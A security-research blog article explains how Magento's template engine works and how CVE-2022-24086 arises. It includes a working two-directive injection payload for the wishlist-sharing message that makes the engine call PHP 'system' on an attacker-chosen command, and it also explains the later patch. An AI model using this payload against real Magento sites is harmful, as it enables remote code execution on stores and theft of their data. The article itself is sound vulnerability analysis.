Magento Template Engine, a story of CVE-2022-24086

Written by Antoine Gicquel - 16/11/2023 - in Pentest - Download

Of all the components in Magento, one of the most prolific in terms of severe vulnerabilities these last years has been the template engine. Let's dissect its inner workings to understand why it is such a valuable target.

The previous article of this series, Magento for Security Audit, gives a nice introduction to this article by bringing context on the Magento framework and codebase.

Every time an email is sent or a text block is rendered in a Magento page, the template engine (Magento/Framework/Filter/Template.php) is invoked. This engine is completely custom and specific to Magento, relying heavily on the PHP function preg_match under the hood.

 

Understanding the template engine

As stated in a previous article, we can put breakpoints on various “general” methods of the template engine (handled by the Magento/Framework/Filter/Template core class) in order to spot possible entrypoints, and to understand the codepaths this class provides. For instance, to bootstrap this analysis, a breakpoint can be enabled on the first line of the method /lib/internal/Magento/Framework/Filter/Template.php:filter($value). This breakpoint will be triggered whenever an email is sent by Magento, and in particular when a user shares his wishlist.

 

Magento template engine - the old way

Before 2022, the template engine code was quite straightforward. It used several concepts:

  • directives are text constructs in the form {{directive_name directive_args}}{{/directive}} (without the closing tag in case of a var directive, trans (translation strings) directive or template inclusion)
  • directiveProcessors are objects which can parse and resolve one or more directives.

The code looked like this (once simplified) :

public function filter($value) {
  foreach ($this->directiveProcessors as $directiveProcessor) {
    if (preg_match_all($directiveProcessor->getRegularExpression(), $value, $constructions, PREG_SET_ORDER)) {
      foreach ($constructions as $construction) {
        $replacedValue = $directiveProcessor->process($construction, $this, $this->templateVars);
        $value = str_replace($construction[0], $replacedValue, $value);
      }
    }
  }
  $value = $this->afterFilter($value);

  return $value;
}

The directives are matched, processed and replaced one by one. Then, in the end of the parsing, the afterFilter method is called, which is responsible for post-processing of the generated text.

    protected function afterFilter($value)
    {
        foreach ($this->afterFilterCallbacks as $callback) {
            $value = call_user_func($callback, $value);
        }
        $this->resetAfterFilterCallbacks();
        return $value;
    }

DirectiveProcessors can register afterFilterCallbacks, which are methods that will be called on the $value variable after the directives match-and-replace loop.

 

Introducing CVE-2022-24086

Disclaimer : This vulnerability has already been covered, and even was the subject of a great DefCamp 2022 talk by Catalin Filip1 where he documented his research path towards finding this vulnerability. However, we feel that a clear and complete resource explaining the template engine and why this vulnerability occurs was missing. Our analysis will also slightly differ from others since we will rely on the whishlist sharing form as an exploitation vector rather than the cart checkout form. Also, this in-depth analysis allowed us to refine the payload proposed by Catalin Filip in his talk.

Sharing your wishlist

Wish List Sharing in the Magento customer dashboard
Wish List Sharing in the Magento customer dashboard

When one shares their wishlist, an email is sent to the specified recipients. This email uses the following template:

[...]
{{template config_path="design/email/header_template"}}

<p>{{trans "%customer_name wants to share this Wish List from %store_name with you:" [...]}}</p>

{{depend message}}
<table class="message-info">
  <tr>
    <td>
      <h3>{{trans "Message from %customer_name:" customer_name=$customerName}}</h3>
      {{var message|raw}}
    </td>
  </tr>
</table>
<br />
{{/depend}}

{{var items|raw}}
[...]

The filter method which we have seen in the previous paragraph gets called with this string in argument. As the directiveProcessors are called one after the others and the $value variable is modified in place, the order of the directiveProcessors list is very important !

First directiveProcessor : DependDirective

Here, the first directiveProcessor to match elements of our template is the dependDirective. The depend message directive is first parsed (message does indeed exist as a templateVar), and its content is recursively filter-ed, which triggers a call with the following argument :

<table class="message-info">
    <tr>
        <td>
            <h3>{{trans "Message from %customer_name:" customer_name=$customerName}}</h3>
            {{var message|raw}}
        </td>
    </tr>
</table>
<br />

The trans is resolved, then the var message|raw is replaced with the raw message content. The dependDirective thus evaluates to the following text :

<table class="message-info">
    <tr>
        <td>
            <h3>Message from test test</h3>
            MY_MESSAGE_CONTENT
        </td>
    </tr>
</table>
<br />

Note that if MY_MESSAGE_CONTENT contained directives which got preg_matched after the var directive, they would have gotten parsed and evaluated as well. This result is then injected in place in $value :

[...]
{{template config_path="design/email/header_template"}}

<p>{{trans "%customer_name wants to share this Wish List from %store_name with you:" customer_name=$customerName store_name=$store.frontend_name}}</p>


<table class="message-info">
    <tr>
        <td>
            <h3>Message from test test:</h3>
            MY_MESSAGE_CONTENT
        </td>
    </tr>
</table>
<br />

{{var items|raw}}
[...]

Second directiveProcessor : TemplateDirective

Nothing relevant for us here, the template blocks are replaced by their contents, which is recursively filter-ed to replace template variables in the included templates. Once again, note that if MY_MESSAGE_CONTENT contained template directives, they would have been parsed and resolved here.

Third directiveProcessor : LegacyDirective

This directiveProcessor is responsible for parsing “everything else” (it matches {{[a-zA-Z] .*}}) in the order of the document, and in particular matches var directives. One of the first directives it matches is an inlinecss directive, which register an afterFilterCallback responsible for adding inline CSS to the generated HTML. It then goes on to match the var directives, with a special parser for the directive parameter.

The LegacyResolver

The LegacyResolver is responsible for resolving complex expressions in directives arguments in the form object.methodCall1().attribute1.methodCall2()..... It does so by tokenizing the expression, storing the tokens in $stackArgs and evaluating it, using code located in /lib/internal/Magento/Framework/Filter/VariableResolver/LegacyResolver.php :

public function resolve(string $value, Template $filter, array $templateVariables)
    {
        if (empty($value)) {
            return null;
        }

        $tokenizer = $this->variableTokenizerFactory->create();
        $tokenizer->setString($value);
        $stackArgs = $tokenizer->tokenize();
        $result = null;
        $last = 0;
        for ($i = 0, $count = count($stackArgs); $i < $count; $i++) {
            if ($i == 0 && isset($templateVariables[$stackArgs[$i]['name']])) {
                // Getting of template value
                $stackArgs[$i]['variable'] = &$templateVariables[$stackArgs[$i]['name']];
            } elseif ($this->shouldHandleDataAccess($i, $stackArgs)) {
                $this->handleDataAccess($i, $filter, $templateVariables, $stackArgs);
                $last = $i;
            } elseif ($this->shouldHandleAsObjectAccess($i, $stackArgs)) {
                $this->handleObjectMethod($filter, $templateVariables, $i, $stackArgs);
                $last = $i;
            }
        }

        if (isset($stackArgs[$last]['variable'])) {
            // If value for construction exists set it
            $result = $stackArgs[$last]['variable'];
        }

        return $result;
    }

Basically, handleDataAccess gets the property $stackArgs[$i] of the object $stackArgs[$i-1]['variable'], and handleObjectMethod calls $stackArgs[$i] on $stackArgs[$i-1]['variable'] with call_user_func_array. That means that a var directive can execute pretty much any public method on any object which is present in templateVars. While this is a good starting point for achieving Remote Code Execution, we still cannot call arbitrary PHP methods.

However, do you remember the template engine and its afterFilter method ? It calls call_user_func on the afterFilterCallback, which is not restricted to an object method. Sadly, afterFilter is a private method. But filter, which in the end calls afterFilter, is public ! Which means if we manage to get a good layout of the afterFilterCallback array and control the input to filter, we can call the method of our choice on the input of our choice. Only one limit this time : the method we call must accept only one argument, and this argument must be a string. Fortunately for us, the classic PHP code execution methods like system, passthru, … match this condition.

Putting it all together

Remember that we could put anything in MY_MESSAGE_CONTENT ? Let’s construct an interesting payload :

{{var this.getTemplateFilter().filter(cleaning)}}
{{var this.getTemplateFilter().addAfterFilterCallback(system).filter(touch${IFS}/tmp/rce)}}

This payload uses two distinct var directives. Let’s go through the parsing of these directives :

  • First, {{var this.getTemplateFilter().filter(cleaning)}} is parsed and evaluated. The filter function is called on a dummy input, and calls afterFilter. This method applies the previously registered afterFilterCallbacks (namely applyInlineCss) to our dummy input, and empties the afterFilterCallback array, leaving us with an open field.
  • The second part of the payload ({{var this.getTemplateFilter().addAfterFilterCallback(system).filter(touch${IFS}/tmp/rce)}}) is then evaluated, which adds system to our previously emptied afterFilterCallback list. Then, filter is called on our input. Hopefully our input doesn’t contain any directive, in which case they would get evaluated, and our input would be modified by the time it arrives in afterFilter. The provided payload doesn’t contain any, so it is passes unmodified to afterFilter, which in the end calls call_user_func("system", "touch${IFS}/tmp/rce").

With a bit of ASCII-art, it looks like this:

filter $value = template_string
├── DependDirective $value
│   ├── filter $value
│   └── // replace result in $value, $value contains our payload
├── TemplateDirective $value
│   ├── ...
│   └── // Replace result in $value
├── LegacyDirective $value
│   ├── LegacyResolver $value
│   │   ├── // Part 1
│   │   ├── filter "cleaning"
│   │   │   └── afterFilter "cleaning"
│   │   │       ├── ...
│   │   │       └── // Clearing of afterFilterCallbacks array
│   │   ├── // Part 2
│   │   ├── addAfterFilterCallback "system"
│   │   └── filter "payload"
│   │       └── afterFilter "payload"
│   │           ├── system "payload"
│   │           ├── // Payload was executed !
│   │           └── // Clearing of afterFilterCallbacks array
│   └── // Replace result in $value
└── afterFilter $value
    └── // afterFilterCallbacks array is empty, nothing to do here

The best part being that the return value of this call ends up being the final value of the second variable, and thus is included in the email sent. The mail is buggy because of the inline CSS cleaning trick, but the content is here (command was changed to "id" for a textual output).

RCE content displayed in email

 

Magento template engine - the new (and safe) way

Removing legacy code

First of all, the Magento team removed the LegacyResolver, which provided the ability to execute arbitrary code inside var directives. For plugin developers, a documentation was edited to help migrate unsafe code (like a {{var order.getEmailCustomerNote()}} directive in a template) to a safer version ({{var order_data.email_customer_note}} in this case). While this is a good first step in the right direction, that in itself does not stop the template injection vulnerability.

Fixing a template injection in the template engine

In order to make sure user-supplied tags did not get interpreted, two countermeasures were implemented: the directives are all replaced after the DirectiveProcessors loop, and the “deferred” directives are signed. The code of the filter method now looks more like this (simplified) :

public function filter($value)
{

    $this->filteringDepthMeter->descend();

    // Processing of template directives.
    $templateDirectivesResults = $this->processDirectives($value);
    $value = $this->applyDirectivesResults($value, $templateDirectivesResults);

    // Processing of deferred directives received from child templates
    // or nested directives.
    $deferredDirectivesResults = $this->processDirectives($value, true)
    $value = $this->applyDirectivesResults($value, $deferredDirectivesResults);

    if ($this->filteringDepthMeter->showMark() > 1) {
        // Signing own deferred directives (if any).
        $signature = $this->signatureProvider->get();

        foreach ($templateDirectivesResults as $result) {
            if ($result['directive'] === $result['output']) {
                $value = str_replace(
                    $result['output'],
                    $signature . $result['output'] . $signature,
                    $value
                );
            }
        }
    }

    $value = $this->afterFilter($value);
    $this->filteringDepthMeter->ascend();
    return $value;
}

A processDirectives method has been added, which returns an array in the form {"directive" : "{{directive_name directive_args}}", "output" : "directive_output"} (and does not modify the input string it was called on). This array is then passed to the applyDirectivesResults method, which basically does a str_replace for each element of the array. Then a new concept of “signed directives” was introduced for deferred directives, meaning a directive that was matched by a DirectiveProcessor but was not evaluated nor replaced. The signature mechanism adds a random tag to the usual directive delimiters ({{ and }} become RANDOM_TAG{{ and }}RANDOM_TAG in directive processors’ regular expressions), which ensures that only directives which were present in the original template could have a chance of being evaluated and replaced.

 

Conclusion

Magento's template engine is a custom and complex piece of software, which is specifically built for Magento and only used in Magento. Its attack surface is easy to reach with the multiple unauthenticated email sending features. It cannot be considered a "recent development", with some lines approaching the decade old. So if you were looking for a perfect security research target, it should match a decent amount of criteria in your checklist and indeed, the CVE-2022-24086 proved it right. While the patch correctly prevents unauthenticated users to inject directives in templates with a recursive parsing, raw templates edition is available in the back-office, and could represent an interesting attack surface for a potential RCE from the admin panel. On a side note, there are other free and open-source PHP template engines like Twig on the market, which are used in more than one project and which are more mature security-wise. Maybe adding support for Twig2 in Magento Open Source could be a smart move.

In general, the Magento code is well documented, and if you add to that a good IDE setup which enables you to follow references and declaration of objects, digging in a specific Magento module can be a quite pleasing experience. After my journey through Magento and after talking briefly with Blaklis, the most rewarded individual on Magento’s Bug Bounty program3, I am sure there are still plenty of interesting code snippets to look into. I hope these articles on Magento will help you get started!